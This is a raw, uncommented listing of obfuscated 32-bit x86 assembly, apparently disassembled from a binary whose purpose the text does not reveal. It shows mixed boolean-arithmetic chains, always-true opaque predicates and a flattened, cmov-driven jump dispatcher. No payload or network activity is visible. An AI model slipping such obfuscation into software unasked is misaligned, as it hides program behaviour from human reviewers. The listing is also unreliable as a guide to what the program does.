not edx
mov ecx, edi
xor ecx, 0xa9502415
and edx, ecx
and ecx, edi
mov eax, esi
xor eax, 0x500014
xor esi, 0x74f5a156
and esi, ebx
or ebx, 0x56afdbea
or ecx, edx
mov edx, ebx
and edx, 0x662eb5e2
and eax, 0x89500015
or eax, edx
mov edx, esi
not edx
or ebx, edx
and edx, 0x662eb5e2
and esi, 0x99d14a1d
or esi, edx
xor esi, eax
not ebx
or ebx, esi
mov edx, ecx
xor edx, ecx
not edx
and edx, ebx
xor edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x5ef9aaf2
mov esi, edx
and esi, 0xa106550d
or esi, ecx
mov ecx, esi
xor ecx, 0x1405
xor esi, 0x1080a080
or eax, 0xb080e088
or esi, 0x70c0900
and esi, 0xb78ce988
and ecx, 0x401645
or ecx, esi
and eax, 0xb78ce988
and edx, 0x48330032
or edx, eax
xor edx, ecx
mov eax, edx
xor eax, 0x4f3f0932
mov esi, edx
xor esi, 0xb0c0f6cd
xor edx, 0x1a9eea89
mov ecx, edx
and ecx, esi
and edx, eax
mov eax, ecx
not eax
mov edi, eax
and edi, 0x5e071f3f
and ecx, 0xa1f8e0c0
or ecx, edi
mov edi, edx
not edi
or eax, edi
and edi, 0x5e071f3f
and edx, 0xa1f8e0c0
or edx, edi
xor edx, ecx
mov ebx, dword [esp + 0x18]
mov ecx, ebx
or ecx, 0x880c1444
not eax
or eax, edx
mov edi, dword [esp + 4]
mov edx, edi
and ecx, 0x9dac3774
or esi, edi
and edi, 0x4001c08b
or edi, ecx
or edx, 0x15a02330
and edx, 0x9dac3774
mov ecx, ebx
and ecx, 0x22520800
or ecx, edx
xor ecx, edi
mov edx, ecx
xor ecx, ecx
not ecx
and ecx, eax
xor ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x7b6a5d07
and ecx, 0x8495a2f8
or ecx, edx
xor ecx, esi
xor ecx, 0x8495a2f8
or eax, esi
not eax
or eax, ecx
xor eax, 0x1b39dc8f
xor eax, 0xe4c62370
sete al
setne dh
cmp dword [0x10047904], 0xa
setl ch
setge ah
mov bl, dh
xor bl, ah
and bl, al
mov cl, ah
or cl, al
mov dl, bl
xor dl, 1
or dl, cl
xor cl, 1
xor bl, cl
xor dl, 1
or dl, bl
and al, ah
and ch, dh
or ch, al
or ah, dh
xor ah, 1
or ah, ch
xor ah, dl
and dl, ah
xor dl, 1
mov ch, dl
xor ch, ah
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and dl, ah
xor dl, 1
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
xor ch, ah
or dl, ah
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov dh, ah
xor dh, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ch, cl
and ch, al
xor ch, 1
mov dl, ch
xor dl, cl
or al, ch
or ch, cl
xor ch, 1
or ch, dl
mov dl, ch
xor al, 1
or al, cl
mov bl, dh
xor bl, ch
or ch, dh
mov cl, dh
xor cl, al
or al, ah
and cl, ah
xor cl, 1
mov dh, cl
xor dh, al
or cl, al
xor dl, 1
xor cl, 1
or cl, dh
mov al, bl
xor al, ah
and al, bl
or dl, ah
mov ah, dl
xor ah, ch
or dl, ch
xor dl, 1
or dl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, dl
xor ah, 1
mov al, dl
xor al, ah
or ah, dl
xor ah, 1
or ah, al
mov dh, ah
xor dh, 1
mov ch, cl
xor ch, 1
mov dl, cl
xor dl, dh
mov al, dl
xor al, ch
and al, dl
mov dl, dh
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, dh
and cl, dl
xor dl, 1
and dl, ch
or dl, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ah, al
xor ah, dl
and ah, al
and dl, al
or dl, cl
mov al, dl
xor al, ah
test dl, 1
mov edi, 0x1d77f471
mov edx, 0x90c84eff
cmovne edi, edx
test ah, 1
mov ecx, 0x1d77f471
cmove edi, ecx
test al, 1
cmovne edi, edx
mov dword [esp + 0x18], 1
jmp 0x10008b80
mov edi, 0x44f5b014
jmp 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
mov edi, edx
mov dword [esp + 8], edx
and eax, 0x7974b934
mov edx, ecx
mov ebx, ecx
mov dword [esp + 0xc], ecx
and edx, 0x868b46cb
or edx, eax
mov ecx, edx
xor ecx, 0x28306c9
xor edx, 0x61248834
and edx, 0xe52cc836
and ecx, 0x1ad337c9
or ecx, edx
mov eax, ecx
xor eax, 0x18530749
xor ecx, 0x64240820
and eax, 0x995bc75f
and ecx, 0x66a438a0
or ecx, eax
mov eax, ecx
xor eax, 0x110b8141
xor ecx, 0x420430a0
and ecx, 0xca5476be
and eax, 0x35ab8941
or eax, ecx
mov ecx, eax
xor ecx, 0x35ab8941
xor eax, 0xca5476be
mov edx, ecx
and edx, 1
and ecx, 0x3a348cfc
mov esi, eax
and esi, 1
or esi, ecx
or esi, edx
and eax, 0xc5cb7302
or eax, esi
mov ecx, eax
xor ecx, 0x8040448
xor eax, 0x440a0200
and eax, 0x763a8ab5
and ecx, 0x89c5754a
or ecx, eax
mov ebp, ecx
xor ebp, 0x101a82a4
xor ecx, 0x89c5754a
mov eax, ecx
and eax, 0xef601c13
and ebp, 0x109fe3ec
or ebp, eax
xor ebp, 0x109fe3ec
or ebp, ecx
mov esi, ebp
not esi
mov eax, edi
and eax, 0x2dce9b84
mov edx, ebx
and edx, 0xd231647b
or edx, eax
mov ecx, edx
xor ecx, 0x42210418
xor edx, 0x8480100
and edx, 0x98586163
and ecx, 0x67a79e9c
or ecx, edx
mov eax, ecx
xor eax, 0x98586163
mov edx, ecx
xor edx, 0x98586162
and edx, eax
xor ecx, 0x26009c80
and ecx, 0x26589ca1
and eax, 0xd9a7635e
or eax, ecx
xor eax, 0xd9a7635f
or eax, edx
mov ecx, eax
not ecx
and eax, 0xff77cb8f
and ecx, 0x883470
or ecx, eax
mov dword [esp], ecx
mov eax, ebp
and eax, 0x5c13d845
mov edi, esi
and edi, 0xa3ec27ba
or edi, eax
mov eax, edi
xor eax, 0x800002
xor edi, 0x44131004
or edi, 0xb92cef69
mov ecx, edi
and ecx, 0xeb5efdd4
and eax, 0x4810002
or eax, ecx
mov ecx, ebp
xor ecx, 0xb92cef69
and ecx, esi
mov edx, ecx
not edx
or edi, edx
and edx, 0xeb5efdd4
and ecx, 0x14a1022b
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov edx, edi
xor edx, 0xb92cef69
mov dword [esp + 4], edx
xor edi, 0x46d31096
mov ecx, edi
and ecx, 0x570cdfd6
and edx, 0xa8f32029
or edx, ecx
mov ecx, edx
xor ecx, 0xa8f32029
xor edx, 0x1604c202
and edx, 0xb684c20a
mov ebx, ecx
and ebx, 0x497b3df5
or ebx, edx
xor ebx, 0xbb48f6b6
and ecx, 0xdcc34bc
or ecx, ebx
and ebp, 0xf3eedc70
and esi, 0xc11238f
or esi, ebp
mov eax, esi
xor eax, 0xc11238f
xor esi, 0x1e69c30
and esi, 0x9f79d3b
mov edx, eax
and edx, 0xf60862c4
or edx, esi
xor edx, 0xfbc45678
and eax, 0xf233cb43
or eax, edx
mov dword [esp + 0x10], eax
mov eax, dword [esp]
mov esi, eax
xor esi, 0xff77cb8f
xor eax, 0x883470
mov edx, esi
and edx, 0x8c03296b
mov ebx, eax
and ebx, 0x73fcd694
or ebx, edx
xor ebx, 0x81cf1dd7
mov ebp, ebx
xor ebp, esi
and ebp, ebx
mov ebx, eax
mov edx, eax
and eax, edi
mov dword [esp], eax
or edi, esi
and dword [esp + 4], esi
and esi, 0x6409492a
and ebx, 0x9bf6b6d5
or ebx, esi
xor ebx, 0x963a8269
and edx, 0xf233cb43
or edx, ebx
mov ebx, ecx
not ebx
mov eax, ebx
mov esi, dword [esp + 0x10]
xor eax, esi
and eax, ebx
and ecx, 0x490ccd6d
and ebx, 0xb6f33292
or ebx, ecx
xor ebx, esi
xor ebx, 0xb6f33292
or ebx, eax
xor edx, ebp
and ebp, edx
not edx
or edx, ebp
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0xaf3ab222
and ecx, ebx
or ebx, 0x50c54ddd
mov esi, ebx
and esi, 0xb88d77c9
and eax, 0x7328022
or eax, esi
mov esi, ecx
not esi
or ebx, esi
and esi, 0xb88d77c9
and ecx, 0x47728836
or ecx, esi
xor ecx, eax
not ebx
or ebx, ecx
mov eax, edx
xor eax, 0xaf3ab222
and eax, edx
mov esi, edx
not edx
or esi, 0x50c54ddd
mov ecx, esi
and ecx, 0x7aef7e5c
and edx, 0x85108022
or edx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x7aef7e5c
and eax, 0x851081a3
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov ecx, esi
xor ecx, esi
not ecx
and ecx, ebx
xor ecx, esi
mov esi, dword [esp + 4]
or esi, dword [esp]
mov edx, esi
not edx
mov eax, edx
and eax, 0x4043a800
and esi, 0xbfbc57ff
or esi, eax
xor esi, edi
xor esi, 0xbfbc57ff
or edx, edi
not edx
or edx, esi
mov esi, edx
or esi, 0x10011020
mov edi, edx
not edi
mov eax, edx
xor eax, 0xed7e2d0b
and eax, edx
and esi, 0x1c4b392b
and edi, 0xe1340400
or edi, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x1c4b392b
and eax, 0xe3b4c6d4
or eax, esi
xor eax, edi
not edx
or edx, eax
not eax
and eax, 0x1281d2f4
and edx, 0xed7e2d0b
or edx, eax
mov eax, edx
not eax
mov esi, ecx
xor esi, eax
and esi, ecx
xor eax, edx
and eax, ecx
xor eax, edx
mov edi, esi
not edi
mov ecx, eax
not ecx
mov edx, edi
and edx, 0x6ed8471
and esi, 0xf9127b8e
or esi, edx
or edi, ecx
and ecx, 0x6ed8471
and eax, 0xf9127b8e
or eax, ecx
xor eax, esi
not edi
or edi, eax
mov dword [esp], edi
mov edi, dword [esp + 8]
mov eax, edi
mov ebx, dword [esp + 0xc]
and eax, ebx
mov edx, eax
not edx
mov ecx, ebx
and ecx, 0x80b1c93b
mov esi, edi
and esi, 0x7f4e36c4
or esi, ecx
mov ecx, ebx
or ecx, edx
and edx, 0x80b1c93b
and eax, 0x7f4e36c4
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edx, ecx
not edx
and ecx, 0x58130353
mov eax, edx
and eax, 0xa7ecfcac
or eax, ecx
xor eax, 0x3454fdca
and edx, 0x6c47fe99
or edx, eax
mov eax, edx
not eax
and edi, 0xff332765
mov ecx, ebx
and ecx, 0xccd89a
or ecx, edi
mov ebp, ecx
xor ebp, 0xccd89a
xor ecx, 0x7b312301
and ecx, 0x7b397b93
mov esi, ecx
mov ecx, ebp
and ecx, 0x84c6846c
or ecx, esi
xor ecx, 0xe8817af5
and ebp, 0x93b80166
or ebp, ecx
mov ecx, edx
and ecx, 0xe1371472
xor edx, 0x22b10320
and edx, eax
mov edi, eax
and edi, 0x1ec8eb8d
or edi, ecx
mov ecx, edi
xor ecx, 0x1ec8eb8d
mov dword [esp + 4], ecx
and ecx, 0xdd4efcdf
or edx, ecx
mov esi, ebp
xor esi, 0x22b10320
mov ecx, esi
and ecx, ebp
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x243a1933
and ecx, 0xdbc5e6cc
or ecx, eax
mov eax, ebp
not eax
mov dword [esp + 8], eax
and esi, eax
mov eax, esi
not eax
or ebx, eax
and eax, 0x243a1933
and esi, 0xdbc5e6cc
or esi, eax
xor esi, ecx
not ebx
or ebx, esi
xor edi, 0xe1371472
xor ebx, edx
mov eax, edi
and eax, 0x3b3bc26b
mov ecx, dword [esp + 4]
and ecx, 0xc4c43d94
or ecx, eax
mov eax, dword [esp + 8]
or edi, eax
and eax, 0x3b3bc26b
and ebp, 0xc4c43d94
or ebp, eax
xor ebp, ecx
not edi
or edi, ebp
not edi
or edi, ebx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x5c141118
mov esi, edi
and esi, 0xa3ebeee7
or esi, eax
mov edx, esi
xor edx, 0x21004081
xor esi, 0x10001008
or ecx, 0x9001b44c
or esi, 0x2080822
and esi, 0x9209bc6e
and edx, 0x21144091
or edx, esi
and ecx, 0x9209bc6e
and edi, 0x4ce20300
or edi, ecx
xor edi, edx
mov ebp, dword [esp]
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0x12adf08a
mov esi, ebp
and esi, 0xed520f75
or esi, eax
mov ebx, esi
xor ebx, 0x68400620
xor esi, 0x24a000
mov edx, ebp
xor edx, 0xec74a720
and edx, ebp
or esi, 0x138b58df
mov eax, esi
and eax, 0x97961155
and ebx, 0x6860a620
or ebx, eax
mov eax, edx
not eax
or esi, eax
and eax, 0x97961155
and edx, 0x6869eeaa
or edx, eax
mov eax, edi
xor eax, 0xdd520a44
xor edx, ebx
not esi
or esi, edx
mov edx, esi
xor edx, 0x118940d3
xor esi, 0xc4742700
and esi, 0xc6763f0c
and edx, 0x3989c0f3
or edx, esi
xor edi, 0x22adf5bb
mov esi, edi
and esi, 0xe4803d8d
mov ebx, eax
and ebx, 0x1b7fc272
or ebx, esi
mov ebp, edx
xor ebp, 0x1909c072
xor edx, 0xc4003d0c
and edx, 0xe4803d8d
and ebp, 0x1b7fc272
or ebp, edx
xor ebp, ebx
mov esi, ebp
xor esi, edi
and esi, ebp
and eax, ecx
mov ebx, dword [esp]
and edi, ebx
or edi, eax
not edi
or edi, ecx
mov eax, esi
not eax
mov edx, eax
or edx, edi
and eax, 0xe3097443
and esi, 0x1cf68bbc
or esi, eax
xor esi, edi
mov eax, esi
xor eax, 0x1cf68bbc
xor esi, 0xe3097443
mov edi, esi
and edi, 0x54b59fb9
and eax, 0xab4a6046
or eax, edi
xor eax, edx
xor eax, 0xab4a6046
or esi, edx
not esi
or esi, eax
mov eax, esi
not eax
and ecx, 0x444005c9
mov edi, ebx
mov edx, ebx
and edx, 0x33831a12
or edx, ecx
xor edx, 0x33831a12
and edi, 0x883ce024
or edi, edx
mov ecx, edi
xor ecx, 0x883ce024
xor edi, 0x77c31fdb
and ecx, esi
or esi, edi
not esi
and edi, eax
or edi, ecx
or edi, esi
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x6f804b1d
and eax, edi
and edi, 0x907fb4e2
or edi, ecx
xor edi, 0x907fb4e2
or edi, eax
xor edi, 0x9c4ce1fc
xor edi, 0x9c4ce1fc
setne bh
sete dl
cmp dword [0x10047904], 0xa
setl ah
setge cl
mov byte [esp], cl
mov al, cl
xor al, ah
and al, cl
mov dh, al
not dh
and dh, al
xor dh, 1
mov ecx, eax
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov al, dh
xor al, 1
mov ecx, eax
and cl, dh
xor cl, 1
mov ch, cl
or ch, al
xor ch, 1
xor cl, al
or cl, ch
mov bl, cl
xor bl, 1
mov ch, cl
and ch, bl
xor ch, 1
or ch, bl
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
mov bl, dl
or bl, cl
and ch, dl
and cl, bh
or cl, ch
xor cl, 1
mov ch, cl
xor ch, bl
or cl, bl
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
mov bl, ch
and bl, cl
xor ch, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, ch
mov byte [esp + 4], bh
mov cl, bh
or cl, dh
xor cl, 1
xor al, bh
and al, dh
or al, cl
mov ecx, eax
xor cl, dh
or al, dh
xor al, 1
or al, cl
mov bh, bl
xor bh, 1
mov dh, bh
and dh, bl
xor bh, dh
xor dh, 1
mov ecx, ebx
or cl, dh
xor cl, 1
mov ch, al
xor dh, bl
or dh, cl
mov bl, dh
xor bl, 1
and bl, al
xor al, 1
or bh, cl
and ch, al
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
and dh, al
xor bh, 1
or dh, bl
mov al, ch
xor al, 1
xor ch, bh
or al, bh
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
xor dh, 1
mov ch, al
xor ch, dh
or dh, al
xor ch, 1
mov al, dh
xor al, ch
or ch, dh
xor ch, 1
or ch, al
movzx ebx, byte [esp]
mov al, bl
mov dh, byte [esp + 4]
or al, dh
xor al, 1
mov cl, dl
and cl, bl
and dh, ah
or dh, cl
or dh, al
xor bl, dl
xor dl, ah
and dl, ah
or bl, ah
mov ah, dl
xor ah, 1
mov al, dl
and al, ah
xor al, 1
or al, ah
xor al, 1
or al, dl
xor al, bl
or ah, bl
mov cl, al
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
xor ah, 1
mov cl, ah
or cl, dh
xor ah, dh
mov al, ah
and ah, cl
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
and dl, cl
and al, cl
or al, ah
or al, dl
mov edx, eax
xor dl, 1
mov cl, dl
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ch
xor dl, 1
mov cl, dl
and cl, ch
xor cl, 1
mov dh, ch
xor dh, cl
or cl, ch
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
mov ebx, ecx
xor bl, ah
and bl, cl
and dh, al
and cl, ah
or cl, dh
or cl, bl
and al, ah
xor al, 1
mov dh, al
xor dh, ah
or al, ah
xor al, 1
or al, dh
mov ah, cl
xor ah, 1
and ch, al
xor al, 1
and al, dl
or al, ch
mov ch, al
and ch, cl
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
mov cl, al
xor cl, 1
xor dl, 1
or dl, ah
or al, ah
and ah, cl
or ah, ch
xor dl, cl
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov al, dl
xor al, 1
mov ch, al
mov cl, ah
or al, ah
xor ah, 1
and ch, ah
and cl, dl
or cl, ch
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, 1
mov edi, 0xb3df0bc0
mov eax, 0x459f13fc
cmovne edi, eax
test cl, 1
cmove edi, eax
not dl
test dl, 1
mov eax, 0xb3df0bc0
cmovne edi, eax
jmp 0x10008b80
mov edi, 0x7627a79
mov dword [esp + 0x18], 1
jmp 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x47066be3
mov edx, ecx
and edx, 0xb8f9941c
or edx, esi
mov esi, eax
and esi, 0xfcd61866
mov edi, ecx
and edi, 0x329e799
or edi, esi
mov esi, edi
xor esi, 0x3208010
xor edi, 0x88401006
mov ebx, ecx
xor ebx, 0x8b60d49e
and ebx, ecx
or edi, 0x749f2b61
mov ebp, edi
and ebp, 0x305374cc
and esi, 0x8b208012
or esi, ebp
mov ebp, ebx
not ebp
or edi, ebp
and ebp, 0x305374cc
and ebx, 0xcfac8b33
or ebx, ebp
mov ebp, eax
and ebp, 0x58092500
xor ebx, esi
mov esi, ecx
not edx
or edx, eax
not edi
or edi, ebx
mov ebx, ecx
and ebx, 0xf554a42
and eax, 0xf0aab5bd
or eax, ebx
xor eax, edi
mov dword [esp + 4], eax
or edi, ecx
mov dword [esp], edi
and ecx, 0x20108aaa
or ecx, ebp
xor ecx, 0x20108aaa
and esi, 0x87e65055
or esi, ecx
mov ebx, edx
not ebx
mov ecx, edx
and ecx, 0x8d4f420f
xor edx, 0x5837ff28
and edx, ebx
and ebx, 0x72b0bdf0
or ebx, ecx
mov ebp, ebx
xor ebp, 0x72b0bdf0
mov ecx, ebx
xor ecx, 0x2a8742d8
and ecx, ebp
or edx, ecx
mov dword [esp + 8], edx
mov eax, esi
not eax
and eax, 0x42004be3
and esi, 0x5062000
or esi, eax
mov ecx, esi
xor ecx, 0x45060ba2
mov edx, ecx
or edx, 0x5837ff28
xor eax, 0xc00051
mov edi, edx
and edi, 0x47026708
and eax, 0xc000d3
or eax, edi
mov dword [esp + 0xc], esi
xor esi, 0x42060b61
and esi, ecx
mov edi, esi
not edi
or edx, edi
and edi, 0xe70a670c
and esi, 0x408e3
or esi, edi
xor esi, eax
not edx
or edx, esi
mov eax, dword [esp + 8]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov edx, dword [esp + 0xc]
xor edx, 0xb078901d
mov eax, ecx
and eax, 0x43046062
and edx, 0xb47a9b9d
or edx, eax
xor ebx, 0x8d4f420f
or ecx, ebx
and ebx, 0x4b856462
and ebp, 0xb47a9b9d
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov eax, ecx
not eax
mov edx, esi
not edx
mov edi, edx
and edi, 0x78dcca79
and esi, 0x87233586
or esi, edi
or edx, ecx
and ecx, 0x78dcca79
and eax, 0x87233586
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov ecx, edx
xor ecx, 0xb8f9941c
mov eax, edx
xor eax, 0x3006802
xor edx, 0x37aa787e
and edx, ecx
or ecx, 0x70ac139d
mov esi, edx
not esi
mov edi, ecx
and edi, 0xe44b13ec
and eax, 0xb10ec02
or eax, edi
or ecx, esi
and esi, 0xe44b13ec
and edx, 0x1bb4ec13
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x70ac139d
mov edx, ecx
xor edx, 0x500420
and edx, 0x580431
xor ecx, 0x92f4256c
and ecx, eax
and eax, 0xe20032c0
or eax, edx
xor eax, 0xe20032c0
or ecx, eax
mov eax, ecx
xor eax, 0x20402a
xor ecx, 0x96c71d90
and eax, 0x102441aa
mov edx, ecx
and edx, 0xefdbbe55
or edx, eax
xor edx, 0x64bb6acb
and ecx, 0x749f2b61
or ecx, edx
mov ebx, ecx
not ebx
mov eax, dword [esp + 4]
xor eax, 0xf0aab5bd
mov edx, dword [esp]
not edx
or edx, eax
mov ebp, edx
mov esi, edx
mov dword [esp], edx
not ebp
mov eax, ebx
and eax, 0xf49b699
mov edx, ecx
and edx, 0x7ced9e44
and ebx, 0x831261bb
or ebx, edx
not ebx
or ebx, ecx
mov edi, ecx
and edi, 0xf0b64966
or edi, eax
mov eax, esi
and eax, ebp
mov ecx, ebp
mov edx, esi
and edx, 0xbd81219f
mov esi, ebp
and ebp, 0x427ede60
or ebp, edx
and ecx, 0x953623ee
xor ebp, 0x3e934024
mov edx, dword [esp]
or ebp, edx
mov dword [esp + 0x10], ebp
and edx, 0x6ac9dc11
or edx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x953623ee
and eax, 0x6ac9dc11
or eax, ecx
mov ecx, edi
xor ecx, 0xf49b699
mov dword [esp + 8], ecx
xor eax, edx
not esi
or esi, eax
mov dword [esp], esi
xor edi, 0xf0b64966
mov dword [esp + 4], edi
mov eax, edi
and eax, 0x400644
mov edi, ecx
and edi, 0x7cad9800
or edi, eax
mov eax, esi
not eax
mov dword [esp + 0xc], eax
and eax, 0xbb401b3c
mov ecx, esi
and ecx, 0x44bfe4c3
or ecx, eax
mov edx, ecx
xor edx, 0x44bfe4c3
xor ecx, 0x81001218
and ecx, 0xc12192d8
mov eax, edx
and eax, 0x3ede6d27
or eax, ecx
xor eax, 0x4233f363
and edx, 0x831261bb
or edx, eax
mov dword [esp + 0x14], edx
mov ecx, edi
xor ecx, 0x7cad9800
or ecx, 0x831261bb
mov eax, ecx
not eax
and ecx, 0xab4e8cc6
xor edi, 0x18210000
and edi, eax
and eax, 0x54a11200
or eax, ecx
mov edx, eax
xor edx, 0x54b11221
mov ebp, ebx
xor ebp, 0x669eb993
mov esi, ebp
and esi, ebx
or edx, ebx
not ebx
and ebp, ebx
mov ebx, eax
xor ebx, 0x89400444
or ebx, 0x669eb993
xor eax, 0x10208
mov ecx, ebx
and ecx, 0x7ca01dd6
and eax, 0x1410208
or eax, ecx
mov ecx, edi
not ecx
or ebx, ecx
and ecx, 0xfca05df6
and edi, 0x4d8200
or edi, ecx
xor edi, eax
not ebx
or ebx, edi
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x9b25bf1
and esi, 0xf64da40e
or esi, ecx
mov ecx, ebp
not ecx
or eax, ecx
and ecx, 0x9b25bf1
and ebp, 0xf64da40e
or ebp, ecx
xor ebp, esi
not eax
or eax, ebp
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebx
xor ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0xa5d3253b
and ecx, 0x5a2cdac4
or ecx, eax
mov eax, edx
not eax
or edx, 0x2611a
or edi, edx
and edx, 0xa5d3253b
and eax, 0x582c9a44
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov edx, dword [esp + 0x14]
mov eax, edx
not eax
mov ecx, eax
mov esi, dword [esp + 0x10]
xor ecx, esi
and ecx, eax
xor esi, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf907ce31
and ecx, 0x6f831ce
or ecx, edx
mov edx, esi
not edx
or eax, edx
and edx, 0xf907ce31
and esi, 0x6f831ce
or esi, edx
xor esi, ecx
not eax
or eax, esi
not edi
mov edx, eax
not edx
mov ecx, edx
xor ecx, edi
and ecx, eax
and edx, 0xf88bd8a1
and eax, 0x774275e
or eax, edx
xor eax, 0xf88bd8a1
or eax, edi
not eax
or eax, ecx
mov edx, dword [esp + 8]
mov ecx, edx
mov esi, dword [esp + 0xc]
xor ecx, esi
and ecx, edx
mov edi, dword [esp + 4]
and edi, 0x526c73c1
and edx, 0xad938c3e
or edx, edi
and esi, 0x526c73c1
mov ebx, dword [esp]
and ebx, 0xad938c3e
or ebx, esi
xor ebx, edx
mov edx, ecx
not edx
mov esi, ebx
not esi
mov edi, edx
and edi, 0xe5adae4c
and ecx, 0x1a5251b3
or ecx, edi
or edx, esi
and esi, 0xe5adae4c
and ebx, 0x1a5251b3
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xcc5075a
mov edi, edx
and edi, 0xf33af8a5
or edi, esi
mov esi, edi
xor esi, 0x200a1081
xor edi, 0x4400440
or ecx, 0x14502440
or edi, 0xc120c236
and edi, 0xd570e676
and esi, 0x280e1181
or esi, edi
and ecx, 0xd570e676
and edx, 0x2810808
or edx, ecx
xor edx, esi
mov esi, edx
xor esi, 0x4201ca28
xor edx, 0x3c5e35c1
mov ecx, edx
and ecx, 0x81e624d6
and esi, 0x7e19db29
or esi, ecx
xor esi, 0x7e19db29
or esi, edx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xedc01bbf
and edx, ecx
and eax, 0x123fe440
or eax, edx
xor eax, esi
mov edx, eax
xor edx, 0x2202000
or ecx, esi
mov esi, ecx
not esi
xor eax, 0xedc01bbf
mov edi, eax
and edi, 0xb45fccc1
and edx, 0x4ba0333e
or edx, edi
or eax, ecx
and ecx, 0xb45fccc1
and esi, 0x4ba0333e
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov edx, eax
not edx
mov esi, edx
and esi, 0x51c9a68d
mov ecx, eax
and ecx, 0xae365972
or ecx, esi
mov esi, ecx
xor esi, 0x8120042
xor ecx, 0x802000
mov edi, edx
or edi, 0xa6a46000
or ecx, 0x80fb8
and ecx, 0xa6ac6fb8
and esi, 0x8120046
or esi, ecx
and edi, 0xa6ac6fb8
mov ecx, eax
and ecx, 0x51419001
or ecx, edi
xor ecx, esi
mov esi, ecx
xor esi, 0x50498da1
xor ecx, 0xa6b00002
and esi, 0x584fede5
and ecx, 0xa7b0121a
or ecx, esi
mov esi, ecx
xor esi, 0x26afcf59
xor ecx, 0xa7b0121a
and ecx, esi
and edx, 0xbd6891ae
and eax, 0x42976e51
or eax, edx
mov esi, eax
xor esi, 0x42976e51
xor eax, 0x850010ae
and eax, 0x859378bf
mov edx, esi
and edx, 0x7a6c8740
or edx, eax
xor edx, 0xfb735a03
and esi, 0x7ee022bc
or esi, edx
xor esi, ecx
and ecx, esi
not esi
or esi, ecx
mov edx, esi
xor edx, 0xa7f09dd
mov eax, esi
xor eax, 0xf580f622
xor esi, 0x847d000f
mov ecx, eax
or ecx, 0x30900400
or esi, 0x9001880
and esi, 0x39901c80
mov edi, eax
mov ebx, eax
and edi, 0x228826f
or edi, esi
and ecx, 0x39901c80
mov eax, edx
and eax, 0xc4476110
or eax, ecx
xor eax, edi
mov ecx, eax
xor ecx, 0x32b8866e
mov esi, ebx
and esi, 0xa3e66d77
mov edi, edx
and edi, 0x5c199288
or edi, esi
mov esi, edi
xor esi, 0x5c199288
xor eax, 0xcd477991
and esi, eax
xor edi, 0xa3e66d77
and edi, ecx
or edi, esi
not edi
or edi, eax
mov dword [esp + 4], edi
mov eax, ebx
and eax, 0x8165ef92
mov ecx, ebx
mov esi, ebx
and ecx, edx
and edx, 0x7e9a106d
or edx, eax
xor edx, 0x7e9a106d
or edx, ecx
mov edi, edx
not edi
and edx, 0x20880686
mov eax, edi
and eax, 0xdf77f979
or eax, edx
xor eax, 0xccda3a29
and edi, 0xec523caf
or edi, eax
mov eax, edi
not eax
mov ebx, eax
mov dword [esp + 0xc], eax
mov eax, edi
xor eax, 0x1c240992
and eax, edi
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xe6525f10
and eax, 0x19ada0ef
or eax, ecx
mov ecx, edi
or ecx, 0xe3dbf66d
or edx, ecx
and ecx, 0xe6525f10
and ebx, 0x18240082
or ebx, ecx
or esi, 0x13adc350
xor ebx, eax
mov ebp, esi
mov dword [esp + 8], esi
